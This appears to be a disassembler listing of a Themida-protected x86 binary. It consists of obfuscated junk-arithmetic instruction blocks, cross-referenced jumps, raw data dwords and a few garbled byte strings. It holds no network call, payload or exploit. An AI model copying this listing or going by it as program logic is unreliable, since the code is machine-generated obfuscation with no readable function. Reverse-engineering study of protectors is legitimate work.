loc_55B194: ; CODE XREF: Themida_:00565CA0j
add ebx, 6D0903A8h
push edx
mov edx, 121F4C01h
sub ebx, edx
pop edx
sub ebx, 43A6A45Ch
sub esi, 70340C00h
jmp loc_553BB6
; ---------------------------------------------------------------------------
dd 48BC531h, 4C48324h, 0E902E5C1h, 979Ch, 90C7805Ch, 16E9E728h
dd 68FFFFD6h, 57B7h, 89243C89h, 3BBB53E7h, 81125F77h, 0B00194C3h
dd 60C8E966h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B1EA: ; CODE XREF: Themida_:0055799Cj
mov edi, 342B1068h
xor edx, edi
pop edi
add edx, 1
push ecx
mov ecx, 7CCF1FB4h
shr ecx, 1
and ecx, 3A7519Eh
add ecx, 4DA100C6h
xor ecx, 29D6397Fh
or edx, ecx
pop ecx
push ebx
push ecx
mov ecx, 613C76C7h
not ecx
add ecx, 0D0A0C367h
jmp loc_554F46
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFFF60Bh, 835D5D5Ah, 0C281FFEAh, 0C0FA2D61h, 148BD329h
dd 4C48124h, 0E9000000h, 0FFFFA2EBh, 582C781h, 33592846h
dd 3C31243Ch, 243C3324h, 6424248Bh, 4CE90288h, 0BFFFFF57h
dd 4, 815FFA01h, 4EAh, 24148700h, 2424895Ch, 4240483h
dd 2CE9565Fh
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B283: ; CODE XREF: Themida_:00552788j
pop eax
push 7745h
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
jmp loc_5656DF
; ---------------------------------------------------------------------------
dw 1489h
dd 6401BA24h, 0D2F769A6h, 1D69F281h, 0D2F773CCh, 192AC281h
dd 0C2816000h, 47ED72A3h, 537BD55h, 0EA31C258h, 5AD0295Dh
dd 4C7DE9h, 6CBE5600h, 217D135Fh, 0A0D9E9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B2D2: ; CODE XREF: Themida_:0055BFCAj
add edi, 4
xchg edi, [esp]
jmp loc_552D59
; ---------------------------------------------------------------------------
loc_55B2E0: ; CODE XREF: Themida_:00557704j
movsx cx, al
jmp loc_560D11
; ---------------------------------------------------------------------------
aIuqCMsai db '┴ЦQ╧C*╤mИ─⌡',0
align 2
loc_55B2F6: ; CODE XREF: Themida_:0055B950j
push small 579Fh
jmp loc_55190F
; ---------------------------------------------------------------------------
db 81h
dd 0DEB391EBh, 5BD8014Bh, 5F2DD829h, 2D049851h, 29254C2Dh
dd 4D68B905h, 6D18682Ch, 14890000h, 0DFB85024h, 0E928C56Dh
dd 4087h, 89243489h, 4BD55E6h, 1000000h, 0B0E95DEEh, 51FFFFF8h
dd 5E7668h, 242C8900h, 79DEE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B34E: ; CODE XREF: Themida_:005553A6j
pop esp
mov [esp], edi
mov edi, 1
jmp loc_55F01D
; ---------------------------------------------------------------------------
dd 2104C483h, 16AFE9F8h, 0EEB50000h, 0E959CD80h, 852Dh
dd 0EB81C301h, 756414D8h, 67CEE9h, 5A535E00h, 4EAC15Bh
dd 0C108EAC1h, 535004E2h, 8A1B90BBh, 66DDE9EAh
db 2 dup(0FFh)
word_55B396 dw 8B66h ; DATA XREF: Themida_:00550950o
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, esp
sub esp, 4
mov [esp], eax
push 40F609AEh
pop eax
jmp loc_557428
; ---------------------------------------------------------------------------
dw 47B2h
dd 0DAF6EAD0h, 156BE9h
db 0
; ---------------------------------------------------------------------------
loc_55B3C5: ; CODE XREF: Themida_:00557F79j
pop eax
sub esp, 4
mov [esp], edx
jmp loc_553001
; ---------------------------------------------------------------------------
dd 0A269CF2Dh, 241C8B13h, 0E904C483h, 0FFFFFEE1h, 3B19D3B8h
dd 8BC72901h, 49E92404h, 53000053h, 2434FF54h, 0E389535Bh
dd 4C381h, 0C3830000h, 241C8704h, 4C3815Ch, 52000000h
dd 6153E954h
db 2 dup(0FFh)
word_55B416 dw 77FFh ; DATA XREF: Themida_:00550960o
dd 58669D1Ch, 24041966h, 5589E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B426: ; CODE XREF: Themida_:0055A5DFj
pop eax
mov edi, [esp]
jmp loc_563248
; ---------------------------------------------------------------------------
db 1
dd 343359CEh, 24343124h, 8B243433h, 53502424h, 0FC8875B7h
dd 0DDEC805Bh, 0E96CC480h, 310Ch
; ---------------------------------------------------------------------------
loc_55B450: ; CODE XREF: Themida_:00562C62j
mov edx, 2795021Eh
jmp loc_554F58
; ---------------------------------------------------------------------------
loc_55B45A: ; CODE XREF: Themida_:0055F422j
pop dword ptr [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_565430
; ---------------------------------------------------------------------------
loc_55B469: ; CODE XREF: Themida_:00552042j
push edi
push esp
pop edi
push ebp
mov ebp, 50974E5Ah
jmp loc_555827
; ---------------------------------------------------------------------------
db 0F7h
dd 0DAD3E9D3h
db 2 dup(0FFh)
word_55B47E dw 0F766h ; DATA XREF: Themida_:005508DCo
dd 0E99C241Ch, 0FFFFAB09h, 4CE9F186h
db 6Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B48F: ; CODE XREF: Themida_:005596A3j
mov dh, 76h
xor dh, ch
pop ecx
xor dh, 3Fh
push eax
mov ah, 0AFh
neg ah
shr ah, 4
not ah
add ah, 0FFh
not ah
xor ah, 11h
add dh, ah
jmp loc_55CE7A
; ---------------------------------------------------------------------------
loc_55B4B0: ; CODE XREF: Themida_:00551A23j
not eax
push esi
mov esi, 8A8EAA4Fh
jmp loc_55A8C6
; ---------------------------------------------------------------------------
loc_55B4BD: ; CODE XREF: Themida_:00561C6Aj
push eax
push 0FFFFFFFFh
pop eax
sub edi, eax
pop eax
jmp loc_562BED
; ---------------------------------------------------------------------------
aUsdr db 'UИDr',0
align 2
loc_55B4D2: ; CODE XREF: Themida_:00565A8Aj
xchg ecx, [esp]
jmp loc_55800A
; ---------------------------------------------------------------------------
dw 835Bh
dd 0FF5204C4h, 5A042474h, 0E924048Fh, 3B62h
; ---------------------------------------------------------------------------
loc_55B4EC: ; CODE XREF: Themida_:00556F1Dj
push ebx
jmp loc_55B922
; ---------------------------------------------------------------------------
loc_55B4F2: ; CODE XREF: Themida_:00563C53j
mov ebp, [esp]
push 5EDCh
mov [esp], ecx
push 4213h
jmp loc_556283
; ---------------------------------------------------------------------------
db 1
dd 0FF515AD1h, 59042474h, 8B24048Fh, 0F662424h, 6866C8B6h
dd 89664C3Ah, 88E9240Ch, 0BAFFFF54h, 0B00D9A3h, 895AD731h
dd 243C8BF8h, 0E904C483h, 0DC9h, 5A53B850h, 0F7407BB3h
dd 0FFFF05D0h, 5655FFFFh, 0A1BB62BEh, 0E9F589C8h, 14D7h
; ---------------------------------------------------------------------------
loc_55B558: ; CODE XREF: Themida_:0056540Dj
add esi, 0C6A009AAh
add ebp, esi
jmp loc_557295
; ---------------------------------------------------------------------------
loc_55B565: ; CODE XREF: Themida_:00564E13j
sub ecx, 7D161363h
sub ecx, edx
add ecx, 7D161363h
mov edx, [esp]
add esp, 4
xor ebx, ecx
jmp loc_553585
; ---------------------------------------------------------------------------
db 53h
dd 35DBBF57h, 0CF81049Ch, 153745BAh, 0F781D7F7h, 8E95156h
dd 81D7F747h, 0FC1B87C7h, 5FFB892Fh, 62CB814Bh, 0E91F6309h
dd 0FFFF7AC3h, 4EC815Ch, 89000000h
db 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
jmp loc_553246
; ---------------------------------------------------------------------------
dw 0F381h
dd 4DFC13A7h, 4C38143h, 15F0F88h, 0E9015BD9h, 26E1E981h
dd 0E95D237Fh, 0FFFFD0F2h, 8001E980h, 0D9F613F1h, 13B45066h
dd 5866E128h, 0AAF180h, 0CB005BF9h, 0FFF42CE9h, 306E68FFh
dd 0C890000h, 0C2885224h, 885AD188h, 0CBADE90Bh, 2F05FFFFh
dd 0E912C228h, 6B5Eh, 0E9240C87h, 4385h, 8B04C483h, 71E9241Ch
dd 83FFFF7Eh, 0C48304C4h, 0E87EE904h, 814FFFFFh, 98AD3BEFh
dd 5FFB895Eh, 170FC405h, 2DD8295Bh, 5B170FC4h, 9CE9555Bh
dd 0B8FFFFF7h, 303F4CE9h, 0C0B31B05h, 0F5EB81CFh, 29508C26h
dd 0F5C381C3h, 58508C26h, 8B241C87h, 0C892424h, 4EC8124h
dd 54000000h, 8324048Fh, 59042404h, 4C181h, 0BF570000h
dd 2, 1200C181h, 0F9013698h, 1200E981h, 0D0E93698h
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B6B3: ; CODE XREF: Themida_:00554A35j
pop edi
jmp loc_5522B0
; ---------------------------------------------------------------------------
aRs5 db 'RИ5=',0
db 0
; ---------------------------------------------------------------------------
loc_55B6BF: ; CODE XREF: Themida_:005648B3j
mov esi, [esp]
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
push esi
jmp loc_5633A8
; ---------------------------------------------------------------------------
aVs_0 db 'VИч\',0
align 4
dd 94F6815Fh, 81272862h, 9E6916F6h, 0CAF1E90Eh, 0EB80FFFFh
dd 148B6655h, 2C48324h, 3FA068h, 240C8900h, 7668C588h
dd 89000044h, 0DFE9241Ch, 0C100005Ch, 54002E0h, 7D97451Ah
dd 2AE9C629h, 68FFFFD5h, 260Bh, 81240489h, 4ECh, 48F5400h
dd 24048124h, 4, 1BDAE958h
db 2 dup(0)
word_55B73E dw 8B66h ; DATA XREF: Themida_:005508F0o
dd 0E468240Ch, 8900007Ah, 0F7682404h, 8900006Dh, 0BA522424h
dd 4, 4245401h, 24048B5Ah, 4C481h, 55510000h, 4BDh, 5DE98900h
dd 63E9C801h, 0BD000038h, 7BFA29B5h, 4508EDC1h, 3A7ACD81h
dd 0BB532489h, 5C082B70h, 7D1FE9h, 5C76B800h, 8E053482h
dd 81CB7DA3h, 0FD67EDC2h, 5B1FE929h
db 2 dup(0FFh)
word_55B7A6 dw 4A68h ; DATA XREF: Themida_:00550734o
dd 8900006Ah, 0BD55241Ch, 630B6F37h, 0FF6B45E9h, 0F10158FFh
dd 0FFF516E9h, 243487FFh, 2404895Ch, 6DE9C9B4h, 5700004Dh
dd 243C8B54h, 5204C483h, 682CE9h, 24348B00h, 4C481h, 0CE90000h
dd 89FFFF7Fh, 0E789243Ch, 7E07BE56h, 0E6D12E3Fh, 0FC0AEE81h
dd 0F7015C7Eh, 8324348Bh, 53E904C4h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B80B: ; CODE XREF: Themida_:0055D495j
mov eax, 2B833B35h
sub eax, 0E933B714h
sub edi, eax
pop eax
jmp loc_556FA8
; ---------------------------------------------------------------------------
db 53h, 0E9h, 4
dd 0FF000071h
db 34h, 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_56512E
; ---------------------------------------------------------------------------
db 50h
dd 45240481h, 8B77E80Fh, 0C483243Ch, 4EC8104h, 89000000h
dd 0BB53242Ch, 2FBD23FCh, 6AECF381h, 0F3815F14h, 6D2D077Bh
dd 4CC3CB81h, 0E3C14B9Dh, 81D3F703h, 44D77FC3h, 1E7E945h
dd 535E0000h, 54E9E389h, 0B200002Dh, 5EC28045h, 805AD330h
dd 0D93011C3h, 0FD52E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B89A: ; CODE XREF: Themida_:0055DA1Bj
neg ebx
add ebx, 0A60D0060h
sub ebp, ebx
jmp loc_551BF7
; ---------------------------------------------------------------------------
loc_55B8A9: ; CODE XREF: Themida_:00564684j
sub ebp, edx
pop edx
jmp loc_558D33
; ---------------------------------------------------------------------------
loc_55B8B1: ; CODE XREF: Themida_:0055AFACj
shr ecx, 1
and ecx, 53D020A5h
add ecx, 0FDD0113Eh
and ecx, 5E7C5E74h
neg ecx
shl ecx, 7
dec ecx
not ecx
add ecx, 297B26FCh
xor ecx, 598340FEh
sub ebp, 0E36491Bh
add ebp, ecx
jmp loc_55F748
; ---------------------------------------------------------------------------
loc_55B8E6: ; CODE XREF: Themida_:00561BC9j
sub esp, 4
mov [esp], eax
sub esp, 4
jmp loc_5575DF
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4BB5300h, 0E9000000h, 30A9h, 4C181h, 0BA520000h
dd 18206956h, 6954F281h, 0D1011820h, 24E3E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B922: ; CODE XREF: Themida_:0055B4EDj
push dword ptr [esp+4]
pop ebx
jmp loc_5547E5
; ---------------------------------------------------------------------------
dd 2414F766h, 31665D66h, 0EAE9242Ch
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B93B: ; CODE XREF: Themida_:00562857j
add ebp, eax
pop eax
sub ebp, 4
xor ebp, [esp]
jmp loc_55D194
; ---------------------------------------------------------------------------
loc_55B94C: ; CODE XREF: Themida_:0055490Dj
movzx cx, ah
jmp loc_55B2F6
; ---------------------------------------------------------------------------
db 81h, 6Ch, 24h
dd 0B86D8904h, 24540170h, 0E030E904h, 505EFFFFh, 4B8h
dd 15EE8100h, 132E27Dh, 15C681C6h, 8B32E27Dh, 54502404h
dd 40558h, 0C0830000h, 24048704h, 0C773E95Ch, 5E5EFFFFh
dd 4C681h, 0B8500000h, 4, 1C68E9h, 240C8700h, 2434895Ch
dd 0C681E689h, 4, 4C681h, 34870000h, 0EE815C24h, 33E82546h
dd 0C681D629h, 33E82546h, 0FF7B94E9h
db 0FFh
byte_55B9D1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00550830o
dd 0D359669Dh, 0E99C2414h, 0FFFF4FCFh, 3C76C581h, 0C5012ED8h
dd 3C76ED81h, 0E9582ED8h, 0FFFFBF54h
; ---------------------------------------------------------------------------
loc_55B9F4: ; CODE XREF: Themida_:00562B99j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 0C1h, 0E0h, 4
dd 0DC800405h, 25EA81FCh, 16E1F4Ch, 25C281C2h, 586E1F4Ch
dd 8904EC83h, 4B82404h, 1000000h, 24048BC2h, 4C481h, 52680000h
dd 89000031h, 8AE92414h, 0F7000094h, 5EC735D0h, 0D0F70618h
dd 0F6003E35h, 35F2E939h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BA56: ; CODE XREF: Themida_:00556A22j
pop esp
pop ebp
push esi
mov esi, 4
add ebp, esi
jmp loc_551EDA
; ---------------------------------------------------------------------------
db 89h, 0DDh, 5Bh
dd 18F6E581h, 53452BC9h, 0D138D7BBh, 5BDD0963h, 37B2F581h
dd 66E91C31h, 52FFFF86h, 97668h, 241C8900h, 230CDCBBh
dd 0CB685618h, 89000024h, 46E9241Ch, 89FFFFD8h, 73BE5BDAh
dd 81D2BBB3h, 0E6330DC6h, 81D60146h, 0E6330DEEh, 0F1015A46h
dd 240C335Eh, 33240C31h, 665C240Ch, 7068F1F7h, 8900004Eh
dd 0E0892404h, 9DE956h, 52590000h, 0B51AD3BAh, 0B0F2811Ch
dd 813C4047h, 27420DCAh, 8AC28150h, 13DD0B5h, 0EBC15AD3h
dd 2F7E905h, 0C2010000h, 24148758h, 5324248Bh, 0E904EC83h
dd 3CA0h, 8124148Bh, 4C4h, 2434FF00h, 0FF677BE9h, 8B5E52FFh
dd 43E92414h
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BB27: ; CODE XREF: Themida_:00563489j
pop eax
jmp loc_55243B
; ---------------------------------------------------------------------------
db 0F6h, 0D8h, 0F6h
dd 205404D8h, 0D1F658C1h, 4EC8352h, 0B4240489h, 97EC80CEh
dd 0E97AC480h, 0FFFFBE18h, 17F30540h, 502D5A5Eh, 0D23EEC3h
dd 357A26D8h, 84B5E952h, 0BA520000h, 305673Bh, 2D7DCA81h
dd 82E9557Bh, 89FFFF62h, 16BF57E6h, 0C10FDB6Dh, 0C5E907E7h
dd 5900006Eh, 663AE9h
db 0
; ---------------------------------------------------------------------------
loc_55BB89: ; CODE XREF: Themida_:005639A4j
push edi
push esi
mov esi, 414C2E4Ah
xor esi, 6C8254E4h
shl esi, 1
add esi, 15FB1455h
mov edi, esi
pop esi
xor edi, 0DE420644h
jmp loc_5538B1
; ---------------------------------------------------------------------------
dd 0D5F78058h, 0FE34F780h, 0D1F780CFh, 665BFD30h, 0DFAE950h
dd 0D7010000h, 4B9515Ah, 29000000h, 240C8BCFh, 9BBCE9h
dd 7545BD00h, 68450D2Ah, 0
dd 5D242C29h, 2414F755h, 0EC81455Dh, 4, 0B8240489h, 1D781E29h
dd 158C531h, 6D2D5DE8h, 0E972A657h, 18C7h
; ---------------------------------------------------------------------------
loc_55BC08: ; CODE XREF: Themida_:0055E961j
mov edx, 12C05051h
mov ebp, 1A4D0241h
add ebp, edx
pop edx
shr ebp, 6
push ebx
push 4E09h
mov [esp], edi
jmp loc_55777D
; ---------------------------------------------------------------------------
aBXoHo db '│е╠X╝<h╝;',0
dd 24348900h, 709AD8BEh, 7CE3E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BC3E: ; CODE XREF: Themida_:00557165j
add ecx, 0D17CCF2h
mov eax, ecx
push dword ptr [esp]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, eax
mov esi, edx
pop edx
jmp loc_55C1B3
; ---------------------------------------------------------------------------
db 81h, 0C6h, 2Fh
dd 8124271Fh, 0FD4F5DEEh, 5DB8507Ch, 815D2470h, 35C3DEEh
dd 81C6017Eh, 35C3DC6h, 80E9587Eh, 83FFFFA0h, 875B04C4h
dd 87D7F7FEh, 3BB850FEh, 0E913B052h, 0FFFF5416h
; ---------------------------------------------------------------------------
loc_55BCB0: ; CODE XREF: Themida_:0055E657j
push esp
jmp loc_557F8B
; ---------------------------------------------------------------------------
dw 3489h
dd 0ECE95424h, 41FFFFD5h, 0FFB468E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BCC5: ; CODE XREF: Themida_:00563361j
mov ebp, [esp]
add esp, 4
push esi
jmp loc_55B00E
; ---------------------------------------------------------------------------
loc_55BCD1: ; CODE XREF: Themida_:0055A644j
pop ecx
sub ecx, 46B0C423h
mov esi, ecx
pop ecx
jmp loc_55DE83
; ---------------------------------------------------------------------------
loc_55BCE0: ; CODE XREF: Themida_:00556170j
inc ecx
and ecx, 10282440h
add ecx, 48EBA4EDh
jmp loc_5629D3
; ---------------------------------------------------------------------------
dw 8952h
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 524248Bh, 422E5B20h
dd 8904EC83h, 72E9241Ch
db 69h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BD17: ; CODE XREF: Themida_:0055E61Bj
mov [esp], ebx
mov ebx, 2CFB6A92h
sub ebp, ebx
pop ebx
push ebp
jmp loc_551CE4
; ---------------------------------------------------------------------------
dd 89516C04h, 6FBE56E1h, 81108701h, 78FE95C6h, 7617E9EFh
dd 0EA80FFFFh, 863BE911h, 1489FFFFh, 34FF5424h, 0C4815A24h
dd 4, 4C281h, 53500000h, 616D4CBBh, 6CB4E915h, 248B0000h
dd 2BA62D24h, 0D0014BB4h, 0B42BA605h, 0D8295A4Bh, 8079E9h
dd 0F9492D00h, 0C6011B53h, 34335A58h, 24343124h, 8B243433h
dd 1662424h, 0E99C2404h, 0FFFF4C13h
; ---------------------------------------------------------------------------
loc_55BD9C: ; CODE XREF: Themida_:005514C1j
push 7962h
jmp loc_551A05
; ---------------------------------------------------------------------------
dw 0F029h
dd 8124348Bh, 4C4h, 0EE10E900h, 0C8BFFFFh, 4C48324h, 8B1C4721h
dd 0C4832404h, 4BE5E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BDCA: ; CODE XREF: Themida_:00559B04j
mov [esp], eax
mov eax, 74240CACh
xor [esp+4], eax
jmp loc_563A1E
; ---------------------------------------------------------------------------
db 1
dd 0BFED81F5h, 5E28B25Ch, 381968h, 242C8900h, 0FFA27EE9h
dd 0F2C381FFh, 0E9FEEA9Ch, 0FFFFB502h, 2474FF55h, 48F5D04h
dd 7F5FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BE0A: ; CODE XREF: Themida_:00554F49j
xor edx, ebx
mov ebx, [esp]
jmp loc_555E57
; ---------------------------------------------------------------------------
dd 89241489h, 4C281E2h, 57000000h, 3F5BFABFh, 0B7B8500Bh
dd 0E92E387Ah, 0FFFFB84Fh
; ---------------------------------------------------------------------------
loc_55BE30: ; CODE XREF: Themida_:00552234j
add dword ptr [esp+4], 7A177F10h
push dword ptr [esp]
pop ebp
push eax
jmp loc_55C2D1
; ---------------------------------------------------------------------------
dw 0EB81h
dd 3E0C4973h, 2149F381h, 0EBD17DB6h, 6845E9h
db 0
; ---------------------------------------------------------------------------
loc_55BE55: ; CODE XREF: Themida_:00551FFCj
push ecx
mov ecx, 5C1C20AFh
add ecx, 5C29541Ch
jmp loc_560B0E
; ---------------------------------------------------------------------------
dw 0F780h
dd 6C2CE1h, 2FB753F8h, 0EF80DFF6h, 0FECFFE9Dh, 80CFFEC7h
dd 0F8005FF7h, 241C8B5Bh, 4C481h, 0F0280000h, 8B66C02Ch
dd 0C4812414h, 2, 0B60FC330h, 48F66C0h, 4B09E987h, 0B3BBFFFFh
dd 0F73CBD67h, 4E3C1DBh, 0BA52h, 0DA290000h, 0B1E9D389h
dd 5FFFF8Dh, 4, 8704C083h, 505C2404h, 405E089h, 5000000h
dd 4, 8B240487h, 0C3312424h, 4C80E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BEE6: ; CODE XREF: Themida_:005620CAj
mov esi, 5D85003Bh
inc esi
jmp loc_55D72D
; ---------------------------------------------------------------------------
db 81h, 0C2h, 91h
dd 5346360Ah, 928D8BBh, 5BDA094Ah, 28EA8142h, 0E9945E2Ch
dd 0FFFFCC13h
dword_55BF0C dd 8B2434FFh, 0C481240Ch, 4, 3FFE68h, 24048900h, 24EB68h
; DATA XREF: Themida_:0055080Co
dd 24248900h, 0E904EC83h, 0C74h
; ---------------------------------------------------------------------------
loc_55BF30: ; CODE XREF: Themida_:005587B8j
sub dword ptr [esp], 2DF84167h
pop esi
add esi, 2DF84167h
mov ebx, [esp]
push 557Ch
mov [esp], ebp
jmp loc_5567B1
; ---------------------------------------------------------------------------
loc_55BF4E: ; CODE XREF: Themida_:00552F07j
pop esp
push ebp
push edx
mov edx, 80000h
push ecx
jmp loc_565BAA
; ---------------------------------------------------------------------------
dd 5604C483h, 5B6AE9h
db 0
; ---------------------------------------------------------------------------
loc_55BF65: ; CODE XREF: Themida_:00550D10j
jnz loc_551F76
sub esp, 4
mov [esp], edx
jmp loc_56370B
; ---------------------------------------------------------------------------
dw 6657h
dd 0E90604BFh, 0FFFFBC0Fh
; ---------------------------------------------------------------------------
loc_55BF80: ; CODE XREF: Themida_:0055982Aj
shl ebp, 8
sub ebp, 58F6568Ah
add ebp, 64797F68h
sub ebp, 61E751FBh
and ebp, 106326Dh
jmp loc_555E21
; ---------------------------------------------------------------------------
loc_55BFA0: ; CODE XREF: Themida_:00556558j
push eax
jmp loc_562479
; ---------------------------------------------------------------------------
loc_55BFA6: ; CODE XREF: Themida_:0055C1A7j
push dword ptr [esp]
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55739C
; ---------------------------------------------------------------------------
loc_55BFC4: ; CODE XREF: Themida_:00551961j
add esp, 4
jmp loc_55B2D2
; ---------------------------------------------------------------------------
loc_55BFCF: ; CODE XREF: Themida_:00550E08j
xor edx, [esp]
jmp loc_561BE8
; ---------------------------------------------------------------------------
db 8Bh
dd 0E5E9240Ch, 0D300001Fh, 0E99C240Ch, 0FFFF49C7h, 8B240C87h
dd 0D9682424h, 8900005Bh, 74FF243Ch, 34FF0424h, 243C8B24h
dd 2CD6E9h, 13EB8100h, 4304E609h, 5504E3C1h, 0FFEAE4E9h
dd 0C48159FFh, 4, 10E268h, 24348900h, 0C6815E54h, 4, 0EEFAE957h
dd 1C8BFFFFh, 7322E924h, 0C483FFFFh, 7EA7E904h, 0DFF70000h
dd 0EF81E7D1h, 0F5472786h, 2D5FF809h, 48371C86h, 5EE9C101h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C05B: ; CODE XREF: Themida_:0055A057j
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esi, 1
jmp loc_557AB9
; ---------------------------------------------------------------------------
aBFSJ db '│ц',27h,'f" И\├',0
db 0
; ---------------------------------------------------------------------------
loc_55C081: ; CODE XREF: Themida_:00564E09j
mov [esp], ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
push ebp
jmp loc_55FA29
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 4BD242Ch, 1000000h, 5068E9EEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C0B2: ; CODE XREF: Themida_:00560D24j
push esp
jmp loc_562F1A
; ---------------------------------------------------------------------------
dd 8FE95954h, 0BFFFFF87h, 6FA6231Bh, 0E5CFC781h, 0F801E988h
dd 1E8AE95Fh, 0A0BF0000h, 893F6530h, 2434FFFEh, 63E9525Fh
dd 81FFFF7Bh, 4ECh, 243C8900h, 46852h, 525A0000h, 0FF6A11E9h
dd 0ED814DFFh, 9F68E10Eh, 0FF5673E9h, 81D7F7FFh, 81EA0AC7h
dd 0EAC7E9D7h, 0B850FFFFh, 35F153CDh, 0E958C289h, 0FFFF62F7h
dword_55C120 dd 0E92434FFh, 82A4h ; DATA XREF: Themida_:005508D0o
; ---------------------------------------------------------------------------
loc_55C128: ; CODE XREF: Themida_:005538F6j
pop dword ptr [ebx]
jmp loc_55CF69
; ---------------------------------------------------------------------------
db 50h
dd 1E924A68h, 24048B4Ch, 0FFE098E9h, 58C230FFh, 8098C280h
dd 40E938CAh, 5C00002Bh, 0E9241489h, 0FFFF7352h
; ---------------------------------------------------------------------------
loc_55C154: ; CODE XREF: Themida_:00558B50j
push esp
pop ebx
jmp loc_5577C8
; ---------------------------------------------------------------------------
loc_55C15B: ; CODE XREF: Themida_:00560421j
add esp, 4
push ebp
push esp
pop ebp
jmp loc_558375
; ---------------------------------------------------------------------------
loc_55C169: ; CODE XREF: Themida_:0055E207j
mov esi, esp
push eax
mov eax, 4
add esi, eax
jmp loc_560876
; ---------------------------------------------------------------------------
dd 0B9515558h, 4, 0FFA87EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C185: ; CODE XREF: Themida_:005538EEj
push 1C56h
mov [esp], ecx
push 421C7EC8h
pop ecx
not ecx
jmp loc_557E27
; ---------------------------------------------------------------------------
loc_55C19A: ; CODE XREF: Themida_:0055D904j
pop esi
add edi, 5D603D4Fh
std
push 0Ah
jmp loc_55BFA6
; ---------------------------------------------------------------------------
dd 0D2E95A58h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C1B3: ; CODE XREF: Themida_:0055BC70j
pop eax
or esi, 5E7A2F61h
push ebx
mov ebx, 0FFFFFFFFh
sub esi, ebx
pop ebx
push eax
push 5BFh
mov [esp], edx
jmp loc_55AF6C
; ---------------------------------------------------------------------------
loc_55C1D1: ; CODE XREF: Themida_:005607C7j
push eax
push 4
pop eax
sub edx, 608E3D18h
add edx, eax
add edx, 608E3D18h
jmp loc_55D5FC
; ---------------------------------------------------------------------------
db 87h
dd 0D7F7243Ch, 0E9243C87h, 0FFFFBAADh, 0E9242C89h, 0FFFFA4E3h
; ---------------------------------------------------------------------------
loc_55C200: ; CODE XREF: Themida_:00558DE5j
mov edx, ecx
jmp loc_556200
; ---------------------------------------------------------------------------
loc_55C207: ; CODE XREF: Themida_:0055A103j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push ebx
sub dword ptr [esp], 27E018ABh
pop ebp
jmp loc_5620C9
; ---------------------------------------------------------------------------
db 83h
dd 896602ECh, 0B450240Ch, 0A6C6E905h, 0E957FFFFh, 0FFFF5F03h
; ---------------------------------------------------------------------------
loc_55C234: ; CODE XREF: Themida_:00550ED6j
pop eax
pop dword ptr [edi+20h]
add dword ptr [edi+20h], 3B23515Dh
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_552EC2
; ---------------------------------------------------------------------------
loc_55C24B: ; CODE XREF: Themida_:00560A55j
push 2C43h
mov [esp], ebx
mov ebx, 411B1E90h
jmp loc_55A031
; ---------------------------------------------------------------------------
loc_55C25D: ; CODE XREF: Themida_:00551733j
push 2F2Eh
jmp loc_550D2A
; ---------------------------------------------------------------------------
loc_55C267: ; CODE XREF: Themida_:005516DEj
push edx
jmp loc_5573BB
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 1D0h, 0C7085804h, 0C0DFF658h, 526603EFh
dd 0D7287CB2h, 0D22C5A66h, 0F800192Ch, 0D2041904h, 83241C8Bh
dd 0B65204C4h, 45CE80B2h, 8019C680h, 39E944C6h, 56000055h
dd 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 0FCE92424h, 81FFFFEAh
dd 0AB3FB0EBh, 5BD989FFh, 0FF51C8E9h
db 0FFh
; ---------------------------------------------------------------------------
